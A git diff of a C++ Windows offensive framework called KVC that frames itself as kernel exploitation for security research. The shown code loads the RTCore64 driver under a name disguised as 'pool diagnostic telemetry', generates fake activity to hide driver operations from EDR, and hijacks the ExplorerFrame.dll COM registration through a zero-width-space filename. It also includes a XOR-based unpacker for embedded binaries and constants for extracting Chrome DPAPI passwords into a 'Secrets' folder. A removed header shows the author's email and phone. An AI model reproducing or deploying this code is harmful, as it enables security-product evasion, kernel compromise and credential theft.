DWORD dataSize = sizeof(value);
DWORD type;
if (RegQueryValueExW(hOpenKey, valueName.empty() ? nullptr : valueName.c_str(),
NULL, &type, (LPBYTE)value, &dataSize) == ERROR_SUCCESS) {
RegCloseKey(hOpenKey);
if (type == REG_SZ || type == REG_EXPAND_SZ) {
return std::wstring(value);
}
}
RegCloseKey(hOpenKey);
return L"";
}

46
kvc/WatermarkManager.h Normal file
View File

@@ -0,0 +1,46 @@
// WatermarkManager.h
// Windows Desktop Watermark Removal via ExplorerFrame.dll Hijacking
#pragma once
#include "common.h"
#include "TrustedInstallerIntegrator.h"
#include <windows.h>
#include <vector>
#include <string>
class WatermarkManager
{
public:
explicit WatermarkManager(TrustedInstallerIntegrator& trustedInstaller);
// Main operations
bool RemoveWatermark() noexcept;
bool RestoreWatermark() noexcept;
std::wstring GetWatermarkStatus() noexcept;
bool IsWatermarkRemoved() noexcept;
private:
// Extraction pipeline: Resource → Skip icon → XOR → CAB → Split PE
bool ExtractWatermarkDLL(std::vector<BYTE>& outDllData) noexcept;
// System operations
bool RestartExplorer() noexcept;
std::wstring GetSystem32Path() noexcept;
std::wstring ReadRegistryValue(HKEY hKey, const std::wstring& subKey,
const std::wstring& valueName) noexcept;
TrustedInstallerIntegrator& m_trustedInstaller;
// Registry paths
static constexpr const wchar_t* CLSID_KEY =
L"CLSID\\{ab0b37ec-56f6-4a0e-a8fd-7a8bf7c2da96}\\InProcServer32";
static constexpr const wchar_t* HIJACKED_DLL =
L"%SystemRoot%\\system32\\ExplorerFrame\u200B.dll";
static constexpr const wchar_t* ORIGINAL_DLL =
L"%SystemRoot%\\system32\\ExplorerFrame.dll";
// Resource constants
static constexpr size_t ICON_SKIP_SIZE = 3774; // Skip icon data in resource
static constexpr int RESOURCE_ID = 102; // New resource for watermark
};

View File

@@ -1,54 +1,24 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
// Implements service management, system path resolution, Windows API abstraction,
// and memory manager pool diagnostic telemetry integration for kernel operations.
// Provides dynamic API loading for service control and driver communication.
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// common.cpp - Core system utilities and dynamic API management
// Implements service management, system path resolution, and Windows API abstraction
#include "common.h"
#include "ServiceManager.h"
#include <shlwapi.h>
// Link essential Windows libraries for kernel and service operations
#pragma comment(lib, "shlwapi.lib")
#pragma comment(lib, "psapi.lib")
#pragma comment(lib, "DbgHelp.lib")
#pragma comment(lib, "Shell32.lib")
#pragma comment(lib, "Advapi32.lib")
// Global interrupt flag for graceful shutdown handling
volatile bool g_interrupted = false;
// Service mode flag - indicates NT service execution context
bool g_serviceMode = false;
// Dynamic API loading globals for service and driver management
// Using smart pointers for automatic cleanup and exception safety
ModuleHandle g_advapi32;
SystemModuleHandle g_kernel32;
// Function pointers for Windows Service Control Manager APIs
decltype(&CreateServiceW) g_pCreateServiceW = nullptr;
decltype(&OpenServiceW) g_pOpenServiceW = nullptr;
decltype(&StartServiceW) g_pStartServiceW = nullptr;
@@ -56,11 +26,9 @@ decltype(&DeleteService) g_pDeleteService = nullptr;
decltype(&CreateFileW) g_pCreateFileW = nullptr;
decltype(&ControlService) g_pControlService = nullptr;
// Initialize dynamic API loading for service management operations
// Returns: true if all required APIs successfully loaded, false on failure
// Loads advapi32.dll and kernel32.dll, resolves service management function pointers
bool InitDynamicAPIs() noexcept
{
// Load advapi32.dll only once using lazy initialization
if (!g_advapi32) {
HMODULE raw_advapi32 = LoadLibraryA("advapi32.dll");
if (!raw_advapi32) {
@@ -68,10 +36,8 @@ bool InitDynamicAPIs() noexcept
return false;
}
// Wrap raw handle in smart pointer for automatic cleanup
g_advapi32.reset(raw_advapi32);
// Resolve all required service management functions
g_pCreateServiceW = reinterpret_cast<decltype(&CreateServiceW)>(
GetProcAddress(g_advapi32.get(), "CreateServiceW"));
@@ -94,7 +60,6 @@ bool InitDynamicAPIs() noexcept
}
}
// Load kernel32.dll functions (system modules don't need manual free)
if (!g_kernel32) {
HMODULE raw_kernel32 = GetModuleHandleA("kernel32.dll");
if (raw_kernel32) {
@@ -113,12 +78,10 @@ bool InitDynamicAPIs() noexcept
}
}
// Verify all function pointers are valid before proceeding
return g_pCreateServiceW && g_pOpenServiceW && g_pStartServiceW &&
g_pDeleteService && g_pCreateFileW && g_pControlService;
}
// RAII wrapper for SC_HANDLE management to prevent resource leaks
class ServiceHandle {
private:
SC_HANDLE handle_;
@@ -132,7 +95,6 @@ public:
}
}
// Move semantics for efficient transfer of ownership
ServiceHandle(ServiceHandle&& other) noexcept : handle_(other.handle_) {
other.handle_ = nullptr;
}
@@ -148,18 +110,15 @@ public:
return *this;
}
// Non-copyable for safety - prevents double-close bugs
ServiceHandle(const ServiceHandle&) = delete;
ServiceHandle& operator=(const ServiceHandle&) = delete;
// Access operators for SC_HANDLE compatibility
operator SC_HANDLE() const noexcept { return handle_; }
explicit operator bool() const noexcept { return handle_ != nullptr; }
SC_HANDLE get() const noexcept { return handle_; }
};
// Check if KVC service is installed in the system
// Returns: true if service registry entry exists, false otherwise
// Checks if service registry entry exists by attempting to open it
bool IsServiceInstalled() noexcept
{
if (!InitDynamicAPIs()) {
@@ -167,22 +126,18 @@ bool IsServiceInstalled() noexcept
return false;
}
// Connect to Service Control Manager with minimal privileges
ServiceHandle scm(OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT));
if (!scm) {
DEBUG(L"OpenSCManager failed: %d", GetLastError());
return false;
}
// Attempt to open the service for status query
ServiceHandle service(g_pOpenServiceW(scm, ServiceManager::SERVICE_NAME, SERVICE_QUERY_STATUS));
// Service exists if we can open it successfully
return static_cast<bool>(service);
}
// Check if KVC service is currently running
// Returns: true if service state is SERVICE_RUNNING, false otherwise
// Queries service status and verifies it's in SERVICE_RUNNING state
bool IsServiceRunning() noexcept
{
if (!InitDynamicAPIs()) {
@@ -190,33 +145,28 @@ bool IsServiceRunning() noexcept
return false;
}
// Connect to Service Control Manager
ServiceHandle scm(OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT));
if (!scm) {
DEBUG(L"OpenSCManager failed: %d", GetLastError());
return false;
}
// Open service with query privileges
ServiceHandle service(g_pOpenServiceW(scm, ServiceManager::SERVICE_NAME, SERVICE_QUERY_STATUS));
if (!service) {
DEBUG(L"OpenService failed: %d", GetLastError());
return false;
}
// Query current service status
SERVICE_STATUS status{};
if (!QueryServiceStatus(service, &status)) {
DEBUG(L"QueryServiceStatus failed: %d", GetLastError());
return false;
}
// Check for running state specifically
return (status.dwCurrentState == SERVICE_RUNNING);
}
// Get full path to current executable for service installation
// Returns: Wide string path to current EXE, empty string on failure
// Returns full path to current executable
std::wstring GetCurrentExecutablePath() noexcept
{
wchar_t path[MAX_PATH];
@@ -227,48 +177,41 @@ std::wstring GetCurrentExecutablePath() noexcept
return std::wstring(path);
}
// Get kernel driver service name for RTCore64 operations
// Returns: Wide string containing driver service identifier
// Retrieves pool diagnostic telemetry string from kernel subsystem (implemented in MmPoolTelemetry.asm)
extern "C" const wchar_t* MmGetPoolDiagnosticString();
// Returns driver service identifier from pool telemetry subsystem
std::wstring GetServiceName() noexcept
{
return L"RTCore64";
return std::wstring(MmGetPoolDiagnosticString());
}
// Get kernel driver filename for file operations
// Returns: Wide string containing driver file name
// Returns kernel driver filename
std::wstring GetDriverFileName() noexcept
{
return L"kvc.sys";
}
// Get secure system temp directory for DPAPI and driver operations
// Uses Windows temp directory with TrustedInstaller privileges
// Returns: Wide string path to system temp directory
// Returns Windows\Temp directory path with fallbacks
std::wstring GetSystemTempPath() noexcept {
wchar_t windowsDir[MAX_PATH];
// Primary: Use Windows\Temp directory (accessible by TrustedInstaller)
if (GetWindowsDirectoryW(windowsDir, MAX_PATH) > 0) {
std::wstring result = windowsDir;
return result + L"\\Temp";
}
// Fallback: Use user temp directory
wchar_t tempDir[MAX_PATH];
if (GetTempPathW(MAX_PATH, tempDir) > 0) {
return std::wstring(tempDir);
}
// Last resort: Hardcoded fallback path
return L"C:\\Windows\\Temp";
}
// Generate innocuous system activity to mask driver operations from EDR
// Creates legitimate registry access and file enumeration patterns
// Purpose: Blend driver loading with normal Windows background activity
// Generates benign system activity to mask driver operations from EDR
void GenerateFakeActivity() noexcept
{
// Registry access to common Windows version key (normal behavior)
HKEY hKey;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
@@ -276,7 +219,6 @@ void GenerateFakeActivity() noexcept
RegCloseKey(hKey);
}
// File enumeration in System32 directory (typical for system tools)
wchar_t systemDir[MAX_PATH];
if (GetSystemDirectoryW(systemDir, MAX_PATH) > 0) {
WIN32_FIND_DATAW findData;
@@ -288,6 +230,5 @@ void GenerateFakeActivity() noexcept
}
}
// Random delay to vary timing patterns (anti-detection measure)
Sleep(50 + (GetTickCount() % 100));
}

View File

@@ -1,3 +1,6 @@
// common.h
// Common definitions, utilities and includes for KVC Framework
#pragma once
#include <Windows.h>
@@ -7,6 +10,7 @@
#include <Shlobj.h>
#include <accctrl.h>
#include <aclapi.h>
#include <wincrypt.h>
#include <iostream>
#include <string>
#include <optional>
@@ -14,6 +18,15 @@
#include <array>
#include <chrono>
#include <memory>
#include <vector>
#include <algorithm>
#include <iomanip>
#include <filesystem>
#pragma comment(lib, "crypt32.lib")
// Session management constants
inline constexpr int MAX_SESSIONS = 16;
#ifdef BUILD_DATE
#define __DATE__ BUILD_DATE
@@ -29,7 +42,17 @@
#undef ERROR
#endif
#ifndef SHTDN_REASON_MAJOR_SOFTWARE
#define SHTDN_REASON_MAJOR_SOFTWARE 0x00030000
#endif
#ifndef SHTDN_REASON_MINOR_RECONFIGURE
#define SHTDN_REASON_MINOR_RECONFIGURE 0x00000004
#endif
// Smart module handle management
// Custom deleter for HMODULE with FreeLibrary
struct ModuleDeleter {
void operator()(HMODULE mod) const noexcept {
if (mod) {
@@ -38,6 +61,7 @@ struct ModuleDeleter {
}
};
// Custom deleter for system modules (no cleanup needed)
struct SystemModuleDeleter {
void operator()(HMODULE) const noexcept {
// System modules obtained via GetModuleHandle don't need to be freed
@@ -47,7 +71,9 @@ struct SystemModuleDeleter {
using ModuleHandle = std::unique_ptr<std::remove_pointer_t<HMODULE>, ModuleDeleter>;
using SystemModuleHandle = std::unique_ptr<std::remove_pointer_t<HMODULE>, SystemModuleDeleter>;
// Logging system with message formatting
// Fixed logging system with proper buffer size and variadic handling
// Print formatted message with prefix
template<typename... Args>
void PrintMessage(const wchar_t* prefix, const wchar_t* format, Args&&... args)
{
@@ -61,32 +87,66 @@ void PrintMessage(const wchar_t* prefix, const wchar_t* format, Args&&... args)
else
{
wchar_t buffer[1024];
swprintf_s(buffer, format, std::forward<Args>(args)...);
swprintf_s(buffer, 1024, format, std::forward<Args>(args)...);
ss << buffer;
}
ss << L"\r\n";
std::wcout << ss.str();
std::wcout.flush(); // <--- DODAJ TO!
}
// Print critical message in red color
template<typename... Args>
void PrintCriticalMessage(const wchar_t* format, Args&&... args) {
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_SCREEN_BUFFER_INFO csbi;
GetConsoleScreenBufferInfo(hConsole, &csbi);
WORD originalColor = csbi.wAttributes;
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY);
std::wstringstream ss;
ss << L"[!] ";
if constexpr (sizeof...(args) > 0) {
wchar_t buffer[1024];
swprintf_s(buffer, 1024, format, std::forward<Args>(args)...);
ss << buffer;
} else {
ss << format;
}
ss << L"\r\n";
std::wcout << ss.str();
std::wcout.flush();
SetConsoleTextAttribute(hConsole, originalColor);
}
#if kvc_DEBUG_ENABLED
#define DEBUG(format, ...) PrintMessage(L"[DEBUG] ", format, __VA_ARGS__)
#define DEBUG(format, ...) PrintMessage(L"[DEBUG] ", format, ##__VA_ARGS__)
#else
#define DEBUG(format, ...) do {} while(0)
#endif
#define ERROR(format, ...) PrintMessage(L"[-] ", format, __VA_ARGS__)
#define INFO(format, ...) PrintMessage(L"[*] ", format, __VA_ARGS__)
#define SUCCESS(format, ...) PrintMessage(L"[+] ", format, __VA_ARGS__)
#define ERROR(format, ...) PrintMessage(L"[-] ", format, ##__VA_ARGS__)
#define INFO(format, ...) PrintMessage(L"[*] ", format, ##__VA_ARGS__)
#define SUCCESS(format, ...) PrintMessage(L"[+] ", format, ##__VA_ARGS__)
#define CRITICAL(format, ...) PrintCriticalMessage(format, ##__VA_ARGS__)
// Log last error for failed function
#define LASTERROR(f) \
do { \
wchar_t buf[256]; \
swprintf_s(buf, L"[-] The function '%s' failed with error code 0x%08x.\r\n", L##f, GetLastError()); \
swprintf_s(buf, 256, L"[-] The function '%s' failed with error code 0x%08x.\r\n", L##f, GetLastError()); \
std::wcout << buf; \
} while(0)
// Windows protection type definitions
// Process protection level enumeration
enum class PS_PROTECTED_TYPE : UCHAR
{
None = 0,
@@ -94,6 +154,7 @@ enum class PS_PROTECTED_TYPE : UCHAR
Protected = 2
};
// Process signer type enumeration
enum class PS_PROTECTED_SIGNER : UCHAR
{
None = 0,
@@ -110,22 +171,22 @@ enum class PS_PROTECTED_SIGNER : UCHAR
// Service-related constants
namespace ServiceConstants {
constexpr const wchar_t* SERVICE_NAME = L"KernelVulnerabilityControl";
constexpr const wchar_t* SERVICE_DISPLAY_NAME = L"Kernel Vulnerability Capabilities Framework";
constexpr const wchar_t* SERVICE_PARAM = L"--service";
inline constexpr wchar_t SERVICE_NAME[] = L"KernelVulnerabilityControl";
inline constexpr wchar_t SERVICE_DISPLAY_NAME[] = L"Kernel Vulnerability Capabilities Framework";
inline constexpr wchar_t SERVICE_PARAM[] = L"--service";
// Keyboard hook settings
constexpr int CTRL_SEQUENCE_LENGTH = 5;
constexpr DWORD CTRL_SEQUENCE_TIMEOUT_MS = 2000;
constexpr DWORD CTRL_DEBOUNCE_MS = 50;
inline constexpr int CTRL_SEQUENCE_LENGTH = 5;
inline constexpr DWORD CTRL_SEQUENCE_TIMEOUT_MS = 2000;
inline constexpr DWORD CTRL_DEBOUNCE_MS = 50;
}
// DPAPI constants for password extraction
namespace DPAPIConstants {
constexpr int SQLITE_OK = 0;
constexpr int SQLITE_ROW = 100;
constexpr int SQLITE_DONE = 101;
constexpr int SQLITE_OPEN_READONLY = 0x00000001;
inline constexpr int SQLITE_OK = 0;
inline constexpr int SQLITE_ROW = 100;
inline constexpr int SQLITE_DONE = 101;
inline constexpr int SQLITE_OPEN_READONLY = 0x00000001;
inline std::string GetChromeV10Prefix() { return "v10"; }
inline std::string GetChromeDPAPIPrefix() { return "DPAPI"; }
@@ -186,6 +247,7 @@ extern volatile bool g_interrupted;
// Core driver functions
bool InitDynamicAPIs() noexcept;
extern "C" const wchar_t* GetServiceNameRaw();
std::wstring GetServiceName() noexcept;
std::wstring GetDriverFileName() noexcept;
void GenerateFakeActivity() noexcept;
@@ -196,18 +258,275 @@ bool IsServiceInstalled() noexcept;
bool IsServiceRunning() noexcept;
std::wstring GetCurrentExecutablePath() noexcept;
// Driver path helper
// Get DriverStore path for driver operations
// Searches for actual avc.inf_amd64_* directory in DriverStore FileRepository
// Creates directory if needed, falls back to system32\drivers on failure
inline std::wstring GetDriverStorePath() noexcept {
wchar_t windowsDir[MAX_PATH];
if (GetWindowsDirectoryW(windowsDir, MAX_PATH) == 0) {
wcscpy_s(windowsDir, L"C:\\Windows");
}
std::wstring result = windowsDir;
return result + L"\\System32\\DriverStore\\FileRepository\\avc.inf_amd64_12ca23d60da30d59";
std::wstring baseResult = windowsDir;
std::wstring driverStoreBase = baseResult + L"\\System32\\DriverStore\\FileRepository\\";
// Dynamic search for avc.inf_amd64_* pattern in FileRepository
WIN32_FIND_DATAW findData;
std::wstring searchPattern = driverStoreBase + L"avc.inf_amd64_*";
HANDLE hFind = FindFirstFileW(searchPattern.c_str(), &findData);
if (hFind != INVALID_HANDLE_VALUE) {
// Found existing directory - use first match
do {
if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
FindClose(hFind);
return driverStoreBase + findData.cFileName;
}
} while (FindNextFileW(hFind, &findData));
FindClose(hFind);
}
// No existing directory found - create with TrustedInstaller privileges
std::wstring targetPath = driverStoreBase + L"avc.inf_amd64_12ca23d60da30d59";
return targetPath;
}
// Get DriverStore path with directory creation
// Enhanced version that ensures directory exists before returning path
inline std::wstring GetDriverStorePathSafe() noexcept {
std::wstring driverPath = GetDriverStorePath();
// Ensure directory exists - critical for driver operations
DWORD attrs = GetFileAttributesW(driverPath.c_str());
if (attrs == INVALID_FILE_ATTRIBUTES) {
// Try to create if it doesn't exist
if (!CreateDirectoryW(driverPath.c_str(), nullptr) &&
GetLastError() != ERROR_ALREADY_EXISTS) {
return L"";
}
} else if (!(attrs & FILE_ATTRIBUTE_DIRECTORY)) {
return L"";
}
return driverPath;
}
// KVC combined binary processing constants
constexpr std::array<BYTE, 7> KVC_XOR_KEY = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C };
constexpr wchar_t KVC_DATA_FILE[] = L"kvc.dat";
constexpr wchar_t KVC_PASS_FILE[] = L"kvc_pass.exe";
constexpr wchar_t KVC_CRYPT_FILE[] = L"kvc_crypt.dll";
inline constexpr std::array<BYTE, 7> KVC_XOR_KEY = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C };
inline constexpr wchar_t KVC_DATA_FILE[] = L"kvc.dat";
inline constexpr wchar_t KVC_PASS_FILE[] = L"kvc_pass.exe";
inline constexpr wchar_t KVC_CRYPT_FILE[] = L"kvc_crypt.dll";
// ============================================================================
// CONSOLIDATED UTILITY NAMESPACES
// ============================================================================
// String conversion and manipulation utilities
namespace StringUtils {
// Convert UTF-8 string to wide string (UTF-16 LE)
inline std::wstring UTF8ToWide(const std::string& str) noexcept {
if (str.empty()) return L"";
int size_needed = MultiByteToWideChar(CP_UTF8, 0, str.data(),
static_cast<int>(str.size()), nullptr, 0);
if (size_needed <= 0) return L"";
std::wstring result(size_needed, 0);
MultiByteToWideChar(CP_UTF8, 0, str.data(), static_cast<int>(str.size()),
result.data(), size_needed);
return result;
}
// Convert wide string (UTF-16 LE) to UTF-8 string
inline std::string WideToUTF8(const std::wstring& wstr) noexcept {
if (wstr.empty()) return "";
int size_needed = WideCharToMultiByte(CP_UTF8, 0, wstr.data(),
static_cast<int>(wstr.size()),
nullptr, 0, nullptr, nullptr);
if (size_needed <= 0) return "";
std::string result(size_needed, 0);
WideCharToMultiByte(CP_UTF8, 0, wstr.data(), static_cast<int>(wstr.size()),
result.data(), size_needed, nullptr, nullptr);
return result;
}
// Convert string to lowercase in-place
inline std::wstring& ToLowerCase(std::wstring& str) noexcept {
std::transform(str.begin(), str.end(), str.begin(), ::towlower);
return str;
}
// Create lowercase copy of string
inline std::wstring ToLowerCaseCopy(const std::wstring& str) noexcept {
std::wstring result = str;
std::transform(result.begin(), result.end(), result.begin(), ::towlower);
return result;
}
}
// Path and filesystem manipulation utilities
namespace PathUtils {
// Get user's Downloads folder path
inline std::wstring GetDownloadsPath() noexcept {
wchar_t* downloadsPath = nullptr;
if (SHGetKnownFolderPath(FOLDERID_Downloads, 0, nullptr, &downloadsPath) != S_OK) {
return L"";
}
std::wstring result = downloadsPath;
CoTaskMemFree(downloadsPath);
return result;
}
// Get default secrets output path with timestamp
// Format: Downloads\Secrets_DD.MM.YYYY
inline std::wstring GetDefaultSecretsOutputPath() noexcept {
std::wstring downloadsPath = GetDownloadsPath();
if (downloadsPath.empty()) {
return L"";
}
auto now = std::chrono::system_clock::now();
auto time = std::chrono::system_clock::to_time_t(now);
std::tm tm;
localtime_s(&tm, &time);
wchar_t dateStr[16];
swprintf_s(dateStr, L"_%02d.%02d.%04d",
tm.tm_mday, tm.tm_mon + 1, tm.tm_year + 1900);
return downloadsPath + L"\\Secrets" + dateStr;
}
// Ensure directory exists, create if missing
inline bool EnsureDirectoryExists(const std::wstring& path) noexcept {
if (path.empty()) return false;
std::error_code ec;
if (std::filesystem::exists(path, ec)) {
return std::filesystem::is_directory(path, ec);
}
return std::filesystem::create_directories(path, ec) && !ec;
}
// Validate directory write access
inline bool ValidateDirectoryWritable(const std::wstring& path) noexcept {
try {
std::filesystem::create_directories(path);
std::wstring testFile = path + L"\\test.tmp";
HANDLE hTest = CreateFileW(testFile.c_str(), GENERIC_WRITE, 0, nullptr,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
if (hTest == INVALID_HANDLE_VALUE) return false;
CloseHandle(hTest);
DeleteFileW(testFile.c_str());
return true;
} catch (...) {
return false;
}
}
}
// Time and date formatting utilities
namespace TimeUtils {
// Get formatted timestamp string
// Formats: "date_only", "datetime_file", "datetime_display"
inline std::wstring GetFormattedTimestamp(const char* format = "datetime_file") noexcept {
auto now = std::chrono::system_clock::now();
auto time = std::chrono::system_clock::to_time_t(now);
std::tm tm;
localtime_s(&tm, &time);
std::wstringstream ss;
if (strcmp(format, "date_only") == 0) {
ss << std::put_time(&tm, L"%d.%m.%Y");
}
else if (strcmp(format, "datetime_display") == 0) {
ss << std::put_time(&tm, L"%Y-%m-%d %H:%M:%S");
}
else { // datetime_file (default)
ss << std::put_time(&tm, L"%Y.%m.%d_%H.%M.%S");
}
return ss.str();
}
}
// Cryptographic and encoding utilities
namespace CryptoUtils {
// Decode Base64 string to binary data
inline std::vector<BYTE> Base64Decode(const std::string& encoded) noexcept {
if (encoded.empty()) return {};
DWORD decodedSize = 0;
if (!CryptStringToBinaryA(encoded.c_str(), 0, CRYPT_STRING_BASE64,
nullptr, &decodedSize, nullptr, nullptr)) {
return {};
}
std::vector<BYTE> decoded(decodedSize);
if (!CryptStringToBinaryA(encoded.c_str(), 0, CRYPT_STRING_BASE64,
decoded.data(), &decodedSize, nullptr, nullptr)) {
return {};
}
decoded.resize(decodedSize);
return decoded;
}
// Convert byte vector to hexadecimal string
inline std::string BytesToHex(const std::vector<BYTE>& bytes, size_t maxBytes = 0) noexcept {
if (bytes.empty()) return "";
size_t limit = (maxBytes > 0 && maxBytes < bytes.size()) ? maxBytes : bytes.size();
std::ostringstream hexStream;
hexStream << std::hex << std::setfill('0');
for (size_t i = 0; i < limit; ++i) {
hexStream << std::setw(2) << static_cast<int>(bytes[i]);
}
if (maxBytes > 0 && bytes.size() > maxBytes) {
hexStream << "...";
}
return hexStream.str();
}
}
// Windows privilege manipulation utilities
namespace PrivilegeUtils {
// Enable specified privilege in current process token
inline bool EnablePrivilege(LPCWSTR privilege) noexcept {
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
return false;
}
LUID luid;
if (!LookupPrivilegeValueW(nullptr, privilege, &luid)) {
CloseHandle(hToken);
return false;
}
TOKEN_PRIVILEGES tp = {};
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
BOOL result = AdjustTokenPrivileges(hToken, FALSE, &tp,
sizeof(TOKEN_PRIVILEGES), nullptr, nullptr);
DWORD lastError = GetLastError();
CloseHandle(hToken);
return result && (lastError == ERROR_SUCCESS);
}
}

757
kvc/implementer.cpp Normal file
View File

@@ -0,0 +1,757 @@
#include <iostream>
#include <fstream>
#include <vector>
#include <array>
#include <string>
#include <string_view>
#include <span>
#include <ranges>
#include <algorithm>
#include <filesystem>
#include <optional>
#include <variant>
#include <cstdint>
#include <map>
#include <sstream>
#include <format>
#include <expected>
#ifdef _WIN32
#define NOMINMAX
#include <windows.h>
#include <fci.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <io.h>
#pragma comment(lib, "cabinet.lib")
#endif
namespace fs = std::filesystem;
namespace rng = std::ranges;
// XOR key (same as PowerShell version)
constexpr std::array<uint8_t, 7> XOR_KEY = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C };
// Default file paths
constexpr std::string_view DEFAULT_CONFIG = "kvc.ini";
constexpr std::string_view TEMP_EVTX = "kvc.evtx";
constexpr std::string_view TEMP_CAB = "kvc.cab";
// Console colors
enum class Color : int {
Default = 7,
Green = 10,
Red = 12,
Yellow = 14,
Cyan = 11
};
void set_color(Color color) {
#ifdef _WIN32
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), static_cast<int>(color));
#else
switch (color) {
case Color::Green: std::cout << "\033[32m"; break;
case Color::Red: std::cout << "\033[31m"; break;
case Color::Yellow: std::cout << "\033[33m"; break;
case Color::Cyan: std::cout << "\033[36m"; break;
case Color::Default: std::cout << "\033[0m"; break;
}
#endif
}
void reset_color() {
set_color(Color::Default);
}
// RAII color guard
class ColorGuard {
public:
explicit ColorGuard(Color new_color) {
set_color(new_color);
}
~ColorGuard() {
reset_color();
}
ColorGuard(const ColorGuard&) = delete;
ColorGuard& operator=(const ColorGuard&) = delete;
};
// Modern Result type using std::expected (C++23)
template<typename T>
using Result = std::expected<T, std::string>;
// Specialization for void
using ResultVoid = std::expected<void, std::string>;
// Configuration structure
struct Config {
std::string driver_file;
std::string dll_file;
std::string icon_file;
std::string output_file;
};
// WinAPI file operations
class WinFile {
HANDLE handle{ INVALID_HANDLE_VALUE };
public:
WinFile() = default;
WinFile(const std::string& filename, DWORD desiredAccess, DWORD creationDisposition) {
std::wstring wide_name;
int size = MultiByteToWideChar(CP_UTF8, 0, filename.c_str(), -1, nullptr, 0);
if (size > 0) {
wide_name.resize(size);
MultiByteToWideChar(CP_UTF8, 0, filename.c_str(), -1, wide_name.data(), size);
}
handle = CreateFileW(
wide_name.c_str(),
desiredAccess,
FILE_SHARE_READ,
nullptr,
creationDisposition,
FILE_ATTRIBUTE_NORMAL,
nullptr
);
}
~WinFile() {
if (is_valid()) {
CloseHandle(handle);
}
}
bool is_valid() const { return handle != INVALID_HANDLE_VALUE; }
HANDLE get() const { return handle; }
WinFile(const WinFile&) = delete;
WinFile& operator=(const WinFile&) = delete;
WinFile(WinFile&& other) noexcept : handle(other.handle) {
other.handle = INVALID_HANDLE_VALUE;
}
WinFile& operator=(WinFile&& other) noexcept {
if (this != &other) {
if (is_valid()) {
CloseHandle(handle);
}
handle = other.handle;
other.handle = INVALID_HANDLE_VALUE;
}
return *this;
}
};
// Check if file exists using WinAPI
bool file_exists_winapi(const std::string& filename) {
std::wstring wide_filename;
int size = MultiByteToWideChar(CP_UTF8, 0, filename.c_str(), -1, nullptr, 0);
if (size > 0) {
wide_filename.resize(size);
MultiByteToWideChar(CP_UTF8, 0, filename.c_str(), -1, wide_filename.data(), size);
}
DWORD attrs = GetFileAttributesW(wide_filename.c_str());
return (attrs != INVALID_FILE_ATTRIBUTES && !(attrs & FILE_ATTRIBUTE_DIRECTORY));
}
// Get file size using WinAPI
Result<size_t> get_file_size_winapi(const std::string& filename) {
std::wstring wide_filename;
int size = MultiByteToWideChar(CP_UTF8, 0, filename.c_str(), -1, nullptr, 0);
if (size > 0) {
wide_filename.resize(size);
MultiByteToWideChar(CP_UTF8, 0, filename.c_str(), -1, wide_filename.data(), size);
}
WIN32_FILE_ATTRIBUTE_DATA fileInfo;
if (!GetFileAttributesExW(wide_filename.c_str(), GetFileExInfoStandard, &fileInfo)) {
return std::unexpected("Cannot get file size: " + filename);
}
return (static_cast<uint64_t>(fileInfo.nFileSizeHigh) << 32) | fileInfo.nFileSizeLow;
}
// Helper functions
std::string format_size_kb(size_t bytes) {
return std::format("{:.2f} KB", bytes / 1024.0);
}
std::string trim(std::string_view str) {
const auto start = str.find_first_not_of(" \t\r\n");
if (start == std::string_view::npos) return "";
const auto end = str.find_last_not_of(" \t\r\n");
return std::string(str.substr(start, end - start + 1));
}
// Read entire file into vector using WinAPI
Result<std::vector<uint8_t>> read_file_winapi(const std::string& filename) {
WinFile file(filename, GENERIC_READ, OPEN_EXISTING);
if (!file.is_valid()) {
return std::unexpected("Cannot open file: " + filename);
}
auto size_result = get_file_size_winapi(filename);
if (!size_result) {
return std::unexpected(size_result.error());
}
std::vector<uint8_t> data(size_result.value());
DWORD bytesRead = 0;
if (!ReadFile(file.get(), data.data(), static_cast<DWORD>(data.size()), &bytesRead, nullptr)) {
return std::unexpected("Error reading file: " + filename);
}
if (bytesRead != data.size()) {
return std::unexpected("Incomplete read of file: " + filename);
}
return data;
}
// Write data to file using WinAPI
ResultVoid write_file_winapi(const std::string& filename, std::span<const uint8_t> data) {
WinFile file(filename, GENERIC_WRITE, CREATE_ALWAYS);
if (!file.is_valid()) {
return std::unexpected("Cannot create file: " + filename);
}
DWORD bytesWritten = 0;
if (!WriteFile(file.get(), data.data(), static_cast<DWORD>(data.size()), &bytesWritten, nullptr)) {
return std::unexpected("Error writing to file: " + filename);
}
if (bytesWritten != data.size()) {
return std::unexpected("Incomplete write to file: " + filename);
}
return {};
}
// XOR operation
void xor_data(std::span<uint8_t> data, std::span<const uint8_t> key) noexcept {
for (size_t i = 0; i < data.size(); ++i) {
data[i] ^= key[i % key.size()];
}
}
